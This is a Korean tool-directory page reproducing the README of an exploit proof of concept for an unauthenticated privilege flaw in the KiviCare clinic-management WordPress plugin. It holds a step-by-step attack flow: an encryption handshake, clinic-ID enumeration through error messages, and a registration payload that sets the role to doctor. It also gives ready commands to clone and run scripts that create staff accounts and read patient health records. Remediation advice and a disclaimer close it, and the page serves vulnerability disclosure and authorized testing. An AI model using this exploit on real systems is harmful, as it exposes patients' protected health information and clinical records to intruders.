Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-13610 — KiviCare WordPress 플러그인의 부적절한 권한 관리를 악용하여 인증 없이 의사/접수원 계정을 생성함으로써 직원 수준의 PHI 접근 권한을 제공하는 Exploit PoC입니다. | Kitploit
도구/GitHubGitHub/ghostpels/cve-2026-13610
Authentication & AuthorizationPrivilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubghostpels/cve-2026-13610

CVE-2026-13610

KiviCare WordPress 플러그인의 부적절한 권한 관리를 악용하여 인증 없이 의사/접수원 계정을 생성함으로써 직원 수준의 PHI 접근 권한을 제공하는 Exploit PoC입니다.

저장소 보기
5일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-13610

KiviCare – 진료소 및 환자 관리 시스템 <= 4.5.1 — 부적절한 권한 관리로 인한 비인증 의사/접수원 계정 생성

CWE-269 (부적절한 권한 관리) | 공격자가 선택한 직원 역할로 비인증 등록 → 환자 PHI(보호 건강 정보) 노출


개요

KiviCare – 진료소 및 환자 관리 시스템 워드프레스 플러그인(4.5.1 이하 버전)에서 발견된 치명적인 취약점으로, 비인증 공격자가 자신이 선택한 비밀번호로 의사(kiviCare_doctor) 또는 접수원(kiviCare_receptionist) 계정을 등록하고, 공격자가 선택한 진료소에 매핑할 수 있습니다.

이 취약점은 공개 등록 엔드포인트가 요청 본문에서 user_role 파라미터를 그대로 받아들이고, 해당 검증 화이트리스트에 진료소 직원 역할이 포함되어 있기 때문에 발생합니다:

게이트동작결과
permission_callbackis_user_logged_in(), nonce, 권한 검사 없음통과됨; return true로 종료
user_role 화이트리스트kiviCare_doctor, kiviCare_receptionist, kiviCare_patient 허용공격자가 직원 역할 선택
patient_role_only 파라미터기본값 yes로 선언됨읽히지 않음 — 죽은 파라미터
reCAPTCHAif (isset($params['recaptchaToken']))일 때만 검증파라미터 생략으로 우회됨

취약점 세부 정보


근본 원인 분석

등록 엔드포인트 POST /wp-json/kivicare/v1/auth/register (app/controllers/api/AuthController.php:237–242)는 checkRegistrationPermission()(:602–650)으로만 보호되며, 해당 함수는 다음과 같이 동작합니다:

  1. users_can_register가 활성화되어 있으면 (인증 검사 없이) 즉시 true를 반환합니다.
  2. 그렇지 않으면 플러그인 자체 역할 설정을 확인합니다. 기본 설치에서는 KCOption::get()이 null을 반환하므로 기본값이 허용입니다.
  3. 함수 끝까지 도달하여 **return true**를 반환합니다.

그런 다음 register() 핸들러(:1277–1387)는 요청 본문에서 user_role을 읽어 KCDoctor / KCReceptionist 모델에 매핑하고 $model->save()를 호출합니다. 이 메서드는 일체의 권한 검사 없이 wp_insert_user()와 setRole('kiviCare_doctor')(app/models/KCDoctor.php:136)를 실행합니다. 결과적으로 생성된 계정은 활성 상태이며 공격자가 선택한 진료소에 매핑됩니다.

플러그인의 E2EE 본문 암호화는 장벽이 되지 않습니다. 핸드셰이크 엔드포인트(server-key, config/register-key)는 인증이 필요 없으므로(app/controllers/api/ConfigController.php:190–205), 모든 클라이언트가 게스트 키를 협상하고 암호화된 페이로드를 보낼 수 있습니다.

전체 분석: analysis/TECHNICAL_ANALYSIS.md


공격 흐름

root@kitploit:~
1. Handshake (encrypted targets):
   POST /wp-json/kivicare/v1/server-key               -> server X25519 public key
   POST /wp-json/kivicare/v1/config/register-key      -> register own public key
   (header x_kc_client_id: <anything>, body {"public_key": "<base64>"})

2. Enumerate a valid clinic ID via the validation oracle:
   "Invalid clinic selected"  -> clinic does not exist
   "Username already exists"  -> clinic exists

3. Encrypt the payload and send:
   POST /wp-json/kivicare/v1/auth/register
   body = base64( nonce(24B) || crypto_box(json) )

   {
     "username": "attacker",
     "email": "[email protected]",
     "password": "P@ssw0rd-123!",
     "first_name": "Att", "last_name": "Acker",
     "mobile_number": "+15550133777",
     "gender": "male",
     "user_role": "kiviCare_doctor",     <-- vulnerable parameter
     "user_clinic": 1
   }

4. HTTP 201 "Registration successful." -> active doctor account created

5. Login via wp-login.php or REST /auth/login -> staff access to patient PHI

설치

root@kitploit:~
git clone https://github.com/ghostpels/CVE-2026-13610.git
cd CVE-2026-13610
pip install -r requirements.txt

사용 방법

사전 점검 (대상 설정 + E2EE 핸드셰이크)

root@kitploit:~
python preflight.py http://target.com

의사 계정 생성 (비인증)

root@kitploit:~
python exploit.py --url http://target.com \
  --username attacker --email [email protected] --password 'P@ssw0rd-123!'

이 스크립트는 전송 모드(일반 JSON vs E2EE 암호화)를 자동으로 감지하며 --clinic이 제공되지 않으면 진료소 ID를 열거합니다.

생성된 계정으로 임상 데이터 접근 증명

root@kitploit:~
python verify_impact.py --url http://target.com \
  --username attacker --password 'P@ssw0rd-123!'

REST를 통해 로그인하고 계정의 E2EE 응답 키를 재바인딩한 다음 직원 전용 엔드포인트(/patients, /appointments)를 호출합니다.

옵션 (exploit.py)

root@kitploit:~
--url           Target base URL (required)
--username      Username to create (default: attacker<random>)
--email         Email (default: <username>@evil.example)
--password      Password (default: Poc!Passw0rd-2026)
--role          kiviCare_doctor (default) | kiviCare_receptionist | kiviCare_patient
--clinic        Clinic ID (auto-enumerated when omitted)
--mobile        Mobile number (default: random +1555...)
--first-name    First name (default: Dr)
--last-name     Last name (default: Poc)
--gender        Gender (default: male)
--no-verify     Skip post-creation login verification

영향

공격에 성공하면 인증 없이 실제 진료소에 매핑된 활성 직원 계정을 확보할 수 있습니다:

  • 환자 PHI 읽기/내보내기: 진료 기록, 방문 기록, 처방전, 청구 정보
  • 예약, 세션, 보고서, 처방전 생성/수정/삭제
  • wp-admin 대시보드 접근 권한(read + upload_files)을 가진 유효한 워드프레스 계정 — 추가 공격을 위한 발판

이 엔드포인트는 워드프레스 administrator 계정 생성을 허용하지 않지만(user_role 화이트리스트가 거부함), 의사 역할만으로도 전체 임상 데이터 접근에 충분합니다.


수정 방안

  1. 비인증 가입자에게 환자 역할을 강제하고 선언된 patient_role_only 파라미터를 적용합니다.
  2. 직원 계정 생성을 current_user_can('create_users') + nonce 검증이 적용된 관리자 전용 엔드포인트로 이동합니다.
  3. checkRegistrationPermission을 기본 거부 방식으로 변경 — 함수 끝까지 도달하는 return true를 제거합니다.
  4. reCAPTCHA가 활성화된 경우 recaptchaToken을 필수로 요구합니다 (현재는 선택 사항).
  5. 패치 버전이 출시되는 즉시 KiviCare를 업데이트합니다.

참고 자료

  • NVD 항목
  • 워드프레스 플러그인 페이지
  • 전체 기술 분석
  • Patchstack.

면책 조항

교육 및 승인된 테스트 목적으로만 사용하십시오.

이 도구는 대상 시스템 테스트에 대한 명시적 서면 승인을 받은 보안 연구원과 침투 테스터를 위해 제작되었습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다. 모든 검증은 저자 소유의 실험실 인프라에서 수행되었습니다.


저자

ghostpels — 보안 연구 및 익스플로잇 개발

라이선스

이 프로젝트는 ghostpels 보안 연구 라이선스에 따라 라이선스가 부여됩니다.

도구 다운로드
필드값
CVE IDCVE-2026-13610
CWECWE-269 (부적절한 권한 관리)
플러그인KiviCare – 진료소 및 환자 관리 시스템
영향받는 버전4.5.1 이하 버전
패치 상태본 분석 시점 기준 미확인
유형직원 역할의 비인증 계정 생성 (권한 상승)
연구자Sai Praneeth Koti
공개일2026